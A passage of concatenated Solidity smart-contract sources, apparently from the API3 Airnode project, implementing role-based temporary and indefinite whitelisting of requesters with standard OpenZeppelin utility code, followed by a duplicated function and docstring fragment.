_setIndefiniteWhitelistStatusAndEmit( airnode, endpointId, requester, status ); } /// @notice Revokes the indefinite whitelist status granted by a specific /// account that no longer has the indefinite whitelister role /// @param airnode Airnode address /// @param endpointId Endpoint ID /// @param requester Requester address /// @param setter Setter of the indefinite whitelist status function revokeIndefiniteWhitelistStatus( address airnode, bytes32 endpointId, address requester, address setter ) external override { require( !hasIndefiniteWhitelisterRoleOrIsAirnode(airnode, setter), "setter can set indefinite status" ); _revokeIndefiniteWhitelistStatusAndEmit( airnode, endpointId, requester, setter ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./WhitelistRoles.sol"; import "../access-control-registry/AccessControlRegistryAdminned.sol"; import "./interfaces/IWhitelistRolesWithAirnode.sol"; import "../access-control-registry/interfaces/IAccessControlRegistry.sol"; /// @title Contract to be inherited by Whitelist contracts that will use /// roles where each individual Airnode address is its own manager contract WhitelistRolesWithAirnode is WhitelistRoles, AccessControlRegistryAdminned, IWhitelistRolesWithAirnode { /// @param _accessControlRegistry AccessControlRegistry contract address /// @param _adminRoleDescription Admin role description constructor( address _accessControlRegistry, string memory _adminRoleDescription ) AccessControlRegistryAdminned( _accessControlRegistry, _adminRoleDescription ) {} /// @notice Derives the admin role for the Airnode /// @param airnode Airnode address /// @return adminRole Admin role function deriveAdminRole(address airnode) external view override returns (bytes32 adminRole) { adminRole = _deriveAdminRole(airnode); } /// @notice Derives the whitelist expiration extender role for the Airnode /// @param airnode Airnode address /// @return whitelistExpirationExtenderRole Whitelist expiration extender /// role function deriveWhitelistExpirationExtenderRole(address airnode) public view override returns (bytes32 whitelistExpirationExtenderRole) { whitelistExpirationExtenderRole = _deriveRole( _deriveAdminRole(airnode), WHITELIST_EXPIRATION_EXTENDER_ROLE_DESCRIPTION_HASH ); } /// @notice Derives the whitelist expiration setter role for the Airnode /// @param airnode Airnode address /// @return whitelistExpirationSetterRole Whitelist expiration setter role function deriveWhitelistExpirationSetterRole(address airnode) public view override returns (bytes32 whitelistExpirationSetterRole) { whitelistExpirationSetterRole = _deriveRole( _deriveAdminRole(airnode), WHITELIST_EXPIRATION_SETTER_ROLE_DESCRIPTION_HASH ); } /// @notice Derives the indefinite whitelister role for the Airnode /// @param airnode Airnode address /// @return indefiniteWhitelisterRole Indefinite whitelister role function deriveIndefiniteWhitelisterRole(address airnode) public view override returns (bytes32 indefiniteWhitelisterRole) { indefiniteWhitelisterRole = _deriveRole( _deriveAdminRole(airnode), INDEFINITE_WHITELISTER_ROLE_DESCRIPTION_HASH ); } /// @dev Returns if the account has the whitelist expiration extender role /// or is the Airnode address /// @param airnode Airnode address /// @param account Account address /// @return If the account has the whitelist extender role or is the /// Airnode address function hasWhitelistExpirationExtenderRoleOrIsAirnode( address airnode, address account ) internal view returns (bool) { return airnode == account || IAccessControlRegistry(accessControlRegistry).hasRole( deriveWhitelistExpirationExtenderRole(airnode), account ); } /// @dev Returns if the account has the whitelist expriation setter role or /// is the Airnode address /// @param airnode Airnode address /// @param account Account address /// @return If the account has the whitelist setter role or is the Airnode /// address function hasWhitelistExpirationSetterRoleOrIsAirnode( address airnode, address account ) internal view returns (bool) { return airnode == account || IAccessControlRegistry(accessControlRegistry).hasRole( deriveWhitelistExpirationSetterRole(airnode), account ); } /// @dev Returns if the account has the indefinite whitelister role or is the /// Airnode address /// @param airnode Airnode address /// @param account Account address /// @return If the account has the indefinite whitelister role or is the /// Airnode addrss function hasIndefiniteWhitelisterRoleOrIsAirnode( address airnode, address account ) internal view returns (bool) { return airnode == account || IAccessControlRegistry(accessControlRegistry).hasRole( deriveIndefiniteWhitelisterRole(airnode), account ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../whitelist/Whitelist.sol"; import "./interfaces/IRequesterAuthorizer.sol"; /// @title Abstract contract to be inherited by Authorizer contracts that /// temporarily or permanently whitelist requesters for Airnode–endpoint pairs abstract contract RequesterAuthorizer is Whitelist, IRequesterAuthorizer { /// @notice Extends the expiration of the temporary whitelist of /// `requester` for the `airnode`–`endpointId` pair and emits an event /// @param airnode Airnode address /// @param endpointId Endpoint ID (allowed to be `bytes32(0)`) /// @param requester Requester address /// @param expirationTimestamp Timestamp at which the temporary whitelist /// will expire function _extendWhitelistExpirationAndEmit( address airnode, bytes32 endpointId, address requester, uint64 expirationTimestamp ) internal { require(airnode != address(0), "Airnode address zero"); require(requester != address(0), "Requester address zero"); _extendWhitelistExpiration( deriveServiceId(airnode, endpointId), requester, expirationTimestamp ); emit ExtendedWhitelistExpiration( airnode, endpointId, requester, msg.sender, expirationTimestamp ); } /// @notice Sets the expiration of the temporary whitelist of `requester` /// for the `airnode`–`endpointId` pair and emits an event /// @dev Unlike `_extendWhitelistExpiration()`, this can hasten expiration /// @param airnode Airnode address /// @param endpointId Endpoint ID (allowed to be `bytes32(0)`) /// @param requester Requester address /// @param expirationTimestamp Timestamp at which the temporary whitelist /// will expire function _setWhitelistExpirationAndEmit( address airnode, bytes32 endpointId, address requester, uint64 expirationTimestamp ) internal { require(airnode != address(0), "Airnode address zero"); require(requester != address(0), "Requester address zero"); _setWhitelistExpiration( deriveServiceId(airnode, endpointId), requester, expirationTimestamp ); emit SetWhitelistExpiration( airnode, endpointId, requester, msg.sender, expirationTimestamp ); } /// @notice Sets the indefinite whitelist status of `requester` for the /// `airnode`–`endpointId` pair and emits an event /// @dev Emits the event even if it does not change the state. /// @param airnode Airnode address /// @param endpointId Endpoint ID (allowed to be `bytes32(0)`) /// @param requester Requester address /// @param status Indefinite whitelist status function _setIndefiniteWhitelistStatusAndEmit( address airnode, bytes32 endpointId, address requester, bool status ) internal { require(airnode != address(0), "Airnode address zero"); require(requester != address(0), "Requester address zero"); uint192 indefiniteWhitelistCount = _setIndefiniteWhitelistStatus( deriveServiceId(airnode, endpointId), requester, status ); emit SetIndefiniteWhitelistStatus( airnode, endpointId, requester, msg.sender, status, indefiniteWhitelistCount ); } /// @notice Revokes the indefinite whitelist status granted to `requester` /// for the `airnode`–`endpointId` pair by a specific account and emits an /// event /// @dev Only emits the event if it changes the state /// @param airnode Airnode address /// @param endpointId Endpoint ID (allowed to be `bytes32(0)`) /// @param requester Requester address /// @param setter Setter of the indefinite whitelist status function _revokeIndefiniteWhitelistStatusAndEmit( address airnode, bytes32 endpointId, address requester, address setter ) internal { require(airnode != address(0), "Airnode address zero"); require(requester != address(0), "Requester address zero"); require(setter != address(0), "Setter address zero"); ( bool revoked, uint192 indefiniteWhitelistCount ) = _revokeIndefiniteWhitelistStatus( deriveServiceId(airnode, endpointId), requester, setter ); if (revoked) { emit RevokedIndefiniteWhitelistStatus( airnode, endpointId, requester, setter, msg.sender, indefiniteWhitelistCount ); } } /// @notice Verifies the authorization status of a request /// @param airnode Airnode address /// @param endpointId Endpoint ID /// @param requester Requester address /// @return Authorization status of the request function isAuthorized( address airnode, bytes32 endpointId, address requester ) external view override returns (bool) { return userIsWhitelisted(deriveServiceId(airnode, endpointId), requester); } /// @notice Verifies the authorization status of a request /// @dev This method has redundant arguments because V0 authorizer /// contracts have to have the same interface and potential authorizer /// contracts may require to access the arguments that are redundant here /// @param requestId Request ID /// @param airnode Airnode address /// @param endpointId Endpoint ID /// @param sponsor Sponsor address /// @param requester Requester address /// @return Authorization status of the request function isAuthorizedV0( bytes32 requestId, // solhint-disable-line no-unused-vars address airnode, bytes32 endpointId, address sponsor, // solhint-disable-line no-unused-vars address requester ) external view override returns (bool) { return userIsWhitelisted(deriveServiceId(airnode, endpointId), requester); } /// @notice Returns the whitelist status of `requester` for the /// `airnode`–`endpointId` pair /// @param airnode Airnode address /// @param endpointId Endpoint ID /// @param requester Requester address /// @return expirationTimestamp Timestamp at which the temporary whitelist /// will expire /// @return indefiniteWhitelistCount Number of times `requester` was /// whitelisted indefinitely for the `airnode`–`endpointId` pair function airnodeToEndpointIdToRequesterToWhitelistStatus( address airnode, bytes32 endpointId, address requester ) external view override returns (uint64 expirationTimestamp, uint192 indefiniteWhitelistCount) { WhitelistStatus storage whitelistStatus = serviceIdToUserToWhitelistStatus[ deriveServiceId(airnode, endpointId) ][requester]; expirationTimestamp = whitelistStatus.expirationTimestamp; indefiniteWhitelistCount = whitelistStatus.indefiniteWhitelistCount; } /// @notice Returns if an account has indefinitely whitelisted `requester` /// for the `airnode`–`endpointId` pair /// @param airnode Airnode address /// @param endpointId Endpoint ID /// @param requester Requester address /// @param setter Address of the account that has potentially whitelisted /// `requester` for the `airnode`–`endpointId` pair indefinitely /// @return indefiniteWhitelistStatus If `setter` has indefinitely /// whitelisted `requester` for the `airnode`–`endpointId` pair function airnodeToEndpointIdToRequesterToSetterToIndefiniteWhitelistStatus( address airnode, bytes32 endpointId, address requester, address setter ) external view override returns (bool indefiniteWhitelistStatus) { indefiniteWhitelistStatus = serviceIdToUserToSetterToIndefiniteWhitelistStatus[ deriveServiceId(airnode, endpointId) ][requester][setter]; } /// @notice Called privately to derive a service ID out of the Airnode /// address and the endpoint ID /// @dev This is done to re-use the more general Whitelist contract for /// the specific case of Airnode–endpoint pairs /// @param airnode Airnode address /// @param endpointId Endpoint ID /// @return serviceId Service ID function deriveServiceId(address airnode, bytes32 endpointId) private pure returns (bytes32 serviceId) { serviceId = keccak256(abi.encodePacked(airnode, endpointId)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../whitelist/interfaces/IWhitelistRolesWithAirnode.sol"; import "./IRequesterAuthorizer.sol"; interface IRequesterAuthorizerWithAirnode is IWhitelistRolesWithAirnode, IRequesterAuthorizer {} // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/IWhitelistRoles.sol"; /// @title Contract to be inherited by Whitelist contracts that will use /// generic AccessControlRegistry roles contract WhitelistRoles is IWhitelistRoles { // There are four roles implemented in this contract: // Root // └── (1) Admin (can grant and revoke the roles below) // ├── (2) Whitelist expiration extender // ├── (3) Whitelist expiration setter // └── (4) Indefinite whitelister // Their IDs are derived from the descriptions below. Refer to // AccessControlRegistry for more information. // To clarify, the root role of the manager is the admin of (1), while (1) // is the admin of (2), (3) and (4). So (1) is more of a "contract admin", // while the `adminRole` used in AccessControl and AccessControlRegistry // refers to a more general adminship relationship between roles. /// @notice Whitelist expiration extender role description string public constant override WHITELIST_EXPIRATION_EXTENDER_ROLE_DESCRIPTION = "Whitelist expiration extender"; /// @notice Whitelist expiration setter role description string public constant override WHITELIST_EXPIRATION_SETTER_ROLE_DESCRIPTION = "Whitelist expiration setter"; /// @notice Indefinite whitelister role description string public constant override INDEFINITE_WHITELISTER_ROLE_DESCRIPTION = "Indefinite whitelister"; bytes32 internal constant WHITELIST_EXPIRATION_EXTENDER_ROLE_DESCRIPTION_HASH = keccak256( abi.encodePacked(WHITELIST_EXPIRATION_EXTENDER_ROLE_DESCRIPTION) ); bytes32 internal constant WHITELIST_EXPIRATION_SETTER_ROLE_DESCRIPTION_HASH = keccak256( abi.encodePacked(WHITELIST_EXPIRATION_SETTER_ROLE_DESCRIPTION) ); bytes32 internal constant INDEFINITE_WHITELISTER_ROLE_DESCRIPTION_HASH = keccak256(abi.encodePacked(INDEFINITE_WHITELISTER_ROLE_DESCRIPTION)); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Multicall.sol"; import "./RoleDeriver.sol"; import "./AccessControlRegistryUser.sol"; import "./interfaces/IAccessControlRegistryAdminned.sol"; /// @title Contract to be inherited by contracts whose adminship functionality /// will be implemented using AccessControlRegistry contract AccessControlRegistryAdminned is Multicall, RoleDeriver, AccessControlRegistryUser, IAccessControlRegistryAdminned { /// @notice Admin role description string public override adminRoleDescription; bytes32 internal immutable adminRoleDescriptionHash; /// @dev Contracts deployed with the same admin role descriptions will have /// the same roles, meaning that granting an account a role will authorize /// it in multiple contracts. Unless you want your deployed contract to /// share the role configuration of another contract, use a unique admin /// role description. /// @param _accessControlRegistry AccessControlRegistry contract address /// @param _adminRoleDescription Admin role description constructor( address _accessControlRegistry, string memory _adminRoleDescription ) AccessControlRegistryUser(_accessControlRegistry) { require( bytes(_adminRoleDescription).length > 0, "Admin role description empty" ); adminRoleDescription = _adminRoleDescription; adminRoleDescriptionHash = keccak256( abi.encodePacked(_adminRoleDescription) ); } /// @notice Derives the admin role for the specific manager address /// @param manager Manager address /// @return adminRole Admin role function _deriveAdminRole(address manager) internal view returns (bytes32 adminRole) { adminRole = _deriveRole( _deriveRootRole(manager), adminRoleDescriptionHash ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IWhitelistRoles.sol"; import "../../access-control-registry/interfaces/IAccessControlRegistryAdminned.sol"; interface IWhitelistRolesWithAirnode is IWhitelistRoles, IAccessControlRegistryAdminned { function deriveAdminRole(address airnode) external view returns (bytes32 role); function deriveWhitelistExpirationExtenderRole(address airnode) external view returns (bytes32 role); function deriveWhitelistExpirationSetterRole(address airnode) external view returns (bytes32 role); function deriveIndefiniteWhitelisterRole(address airnode) external view returns (bytes32 role); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/IAccessControl.sol"; interface IAccessControlRegistry is IAccessControl { event InitializedManager(bytes32 indexed rootRole, address indexed manager); event InitializedRole( bytes32 indexed role, bytes32 indexed adminRole, string description, address sender ); function initializeManager(address manager) external; function initializeRoleAndGrantToSender( bytes32 adminRole, string calldata description ) external returns (bytes32 role); function deriveRootRole(address manager) external pure returns (bytes32 rootRole); function deriveRole(bytes32 adminRole, string calldata description) external pure returns (bytes32 role); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IWhitelistRoles { // solhint-disable-next-line func-name-mixedcase function WHITELIST_EXPIRATION_EXTENDER_ROLE_DESCRIPTION() external view returns (string memory); // solhint-disable-next-line func-name-mixedcase function WHITELIST_EXPIRATION_SETTER_ROLE_DESCRIPTION() external view returns (string memory); // solhint-disable-next-line func-name-mixedcase function INDEFINITE_WHITELISTER_ROLE_DESCRIPTION() external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Multicall.sol) pragma solidity ^0.8.0; import "./Address.sol"; /** * @dev Provides a function to batch together multiple calls in a single external call. * * _Available since v4.1._ */ abstract contract Multicall { /** * @dev Receives and executes a batch of function calls on this contract. */ function multicall(bytes[] calldata data) external returns (bytes[] memory results) { results = new bytes[](data.length); for (uint256 i = 0; i < data.length; i++) { results[i] = Address.functionDelegateCall(address(this), data[i]); } return results; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title Contract to be inherited by contracts that will derive /// AccessControlRegistry roles /// @notice If a contract interfaces with AccessControlRegistry and needs to /// derive roles, it should inherit this contract instead of re-implementing /// the logic contract RoleDeriver { /// @notice Derives the root role of the manager /// @param manager Manager address /// @return rootRole Root role function _deriveRootRole(address manager) internal pure returns (bytes32 rootRole) { rootRole = keccak256(abi.encodePacked(manager)); } /// @notice Derives the role using its admin role and description /// @dev This implies that roles adminned by the same role cannot have the /// same description /// @param adminRole Admin role /// @param description Human-readable description of the role /// @return role Role function _deriveRole(bytes32 adminRole, string memory description) internal pure returns (bytes32 role) { role = _deriveRole(adminRole, keccak256(abi.encodePacked(description))); } /// @notice Derives the role using its admin role and description hash /// @dev This implies that roles adminned by the same role cannot have the /// same description /// @param adminRole Admin role /// @param descriptionHash Hash of the human-readable description of the /// role /// @return role Role function _deriveRole(bytes32 adminRole, bytes32 descriptionHash) internal pure returns (bytes32 role) { role = keccak256(abi.encodePacked(adminRole, descriptionHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/IAccessControlRegistry.sol"; import "./interfaces/IAccessControlRegistryUser.sol"; /// @title Contract to be inherited by contracts that will interact with /// AccessControlRegistry contract AccessControlRegistryUser is IAccessControlRegistryUser { /// @notice AccessControlRegistry contract address address public immutable override accessControlRegistry; /// @param _accessControlRegistry AccessControlRegistry contract address constructor(address _accessControlRegistry) { require(_accessControlRegistry != address(0), "ACR address zero"); accessControlRegistry = _accessControlRegistry; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlRegistryUser.sol"; interface IAccessControlRegistryAdminned is IAccessControlRegistryUser { function adminRoleDescription() external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IAccessControlRegistryUser { function accessControlRegistry() external view returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title Contract to be inherited by contracts that need temporary and /// permanent whitelists for services identified by hashes /// @notice This contract implements two kinds of whitelisting: /// (1) Temporary, ends when the expiration timestamp is in the past /// (2) Indefinite, ends when the indefinite whitelist count is zero /// Multiple senders can indefinitely whitelist/unwhitelist independently. The /// user will be considered whitelisted as long as there is at least one active /// indefinite whitelisting. /// @dev The interface of this contract is not implemented. It should be /// inherited and its functions should be exposed with a sort of an /// authorization scheme. contract Whitelist { struct WhitelistStatus { uint64 expirationTimestamp; uint192 indefiniteWhitelistCount; } mapping(bytes32 => mapping(address => WhitelistStatus)) internal serviceIdToUserToWhitelistStatus; mapping(bytes32 => mapping(address => mapping(address => bool))) internal serviceIdToUserToSetterToIndefiniteWhitelistStatus; /// @notice Extends the expiration of the temporary whitelist of the user /// for the service /// @param serviceId Service ID /// @param user User address /// @param expirationTimestamp Timestamp at which the temporary whitelist /// will expire function _extendWhitelistExpiration( bytes32 serviceId, address user, uint64 expirationTimestamp ) internal { require( expirationTimestamp > serviceIdToUserToWhitelistStatus[serviceId][user] .expirationTimestamp, "Does not extend expiration" ); serviceIdToUserToWhitelistStatus[serviceId][user] .expirationTimestamp = expirationTimestamp; } /// @notice Sets the expiration of the temporary whitelist of the user for /// the service /// @dev Unlike `extendWhitelistExpiration()`, this can hasten expiration /// @param serviceId Service ID /// @param user User address /// @param expirationTimestamp Timestamp at which the temporary whitelist /// will expire function _setWhitelistExpiration( bytes32 serviceId, address user, uint64 expirationTimestamp ) internal { serviceIdToUserToWhitelistStatus[serviceId][user] .expirationTimestamp = expirationTimestamp; } /// @notice Sets the indefinite whitelist status of the user for the /// service /// @dev As long as at least there is at least one account that has set the /// indefinite whitelist status of the user for the service as true, the /// user will be considered whitelisted /// @param serviceId Service ID /// @param user User address /// @param status Indefinite whitelist status function _setIndefiniteWhitelistStatus( bytes32 serviceId, address user, bool status ) internal returns (uint192 indefiniteWhitelistCount) { indefiniteWhitelistCount = serviceIdToUserToWhitelistStatus[serviceId][ user ].indefiniteWhitelistCount; if ( status && !serviceIdToUserToSetterToIndefiniteWhitelistStatus[serviceId][ user ][msg.sender] ) { serviceIdToUserToSetterToIndefiniteWhitelistStatus[serviceId][user][ msg.sender ] = true; indefiniteWhitelistCount++; serviceIdToUserToWhitelistStatus[serviceId][user] .indefiniteWhitelistCount = indefiniteWhitelistCount; } else if ( !status && serviceIdToUserToSetterToIndefiniteWhitelistStatus[serviceId][user][ msg.sender ] ) { serviceIdToUserToSetterToIndefiniteWhitelistStatus[serviceId][user][ msg.sender ] = false; indefiniteWhitelistCount--; serviceIdToUserToWhitelistStatus[serviceId][user] .indefiniteWhitelistCount = indefiniteWhitelistCount; } } /// @notice Revokes the indefinite whitelist status granted to the user for /// the service by a specific account /// @param serviceId Service ID /// @param user User address /// @param setter Setter of the indefinite whitelist status function _revokeIndefiniteWhitelistStatus( bytes32 serviceId, address user, address setter ) internal returns (bool revoked, uint192 indefiniteWhitelistCount) { indefiniteWhitelistCount = serviceIdToUserToWhitelistStatus[serviceId][ user ].indefiniteWhitelistCount; if ( serviceIdToUserToSetterToIndefiniteWhitelistStatus[serviceId][user][ setter ] ) { serviceIdToUserToSetterToIndefiniteWhitelistStatus[serviceId][user][ setter ] = false; indefiniteWhitelistCount--; serviceIdToUserToWhitelistStatus[serviceId][user] .indefiniteWhitelistCount = indefiniteWhitelistCount; revoked = true; } } /// @notice Returns if the user is whitelised to use the service /// @param serviceId Service ID /// @param user User address /// @return isWhitelisted If the user is whitelisted function userIsWhitelisted(bytes32 serviceId, address user) internal view returns (bool isWhitelisted) { WhitelistStatus storage whitelistStatus = serviceIdToUserToWhitelistStatus[ serviceId ][user]; return whitelistStatus.indefiniteWhitelistCount > 0 || whitelistStatus.expirationTimestamp > block.timestamp; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAuthorizerV0.sol"; interface IRequesterAuthorizer is IAuthorizerV0 { event ExtendedWhitelistExpiration( address indexed airnode, bytes32 endpointId, address indexed requester, address indexed sender, uint256 expiration ); event SetWhitelistExpiration( address indexed airnode, bytes32 endpointId, address indexed requester, address indexed sender, uint256 expiration ); event SetIndefiniteWhitelistStatus( address indexed airnode, bytes32 endpointId, address indexed requester, address indexed sender, bool status, uint192 indefiniteWhitelistCount ); event RevokedIndefiniteWhitelistStatus( address indexed airnode, bytes32 endpointId, address indexed requester, address indexed setter, address sender, uint192 indefiniteWhitelistCount ); function extendWhitelistExpiration( address airnode, bytes32 endpointId, address requester, uint64 expirationTimestamp ) external; function setWhitelistExpiration( address airnode, bytes32 endpointId, address requester, uint64 expirationTimestamp ) external; function setIndefiniteWhitelistStatus( address airnode, bytes32 endpointId, address requester, bool status ) external; function revokeIndefiniteWhitelistStatus( address airnode, bytes32 endpointId, address requester, address setter ) external; function airnodeToEndpointIdToRequesterToWhitelistStatus( address airnode, bytes32 endpointId, address requester ) external view returns (uint64 expirationTimestamp, uint192 indefiniteWhitelistCount); function airnodeToEndpointIdToRequesterToSetterToIndefiniteWhitelistStatus( address airnode, bytes32 endpointId, address requester, address setter ) external view returns (bool indefiniteWhitelistStatus); function isAuthorized( address airnode, bytes32 endpointId, address requester ) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IAuthorizerV0 { function isAuthorizedV0( bytes32 requestId, address airnode, bytes32 endpointId, address sponsor, address requester ) external view returns (bool); }
@dev Returns if the account has the indefinite whitelister role or is the Airnode address @param airnode Airnode address @param account Account address @return If the account has the indefinite whitelister role or is the Airnode addrss
function hasIndefiniteWhitelisterRoleOrIsAirnode( address airnode, address account ) internal view returns (bool) { return airnode == account || IAccessControlRegistry(accessControlRegistry).hasRole( deriveIndefiniteWhitelisterRole(airnode), account ); }
1,198,325
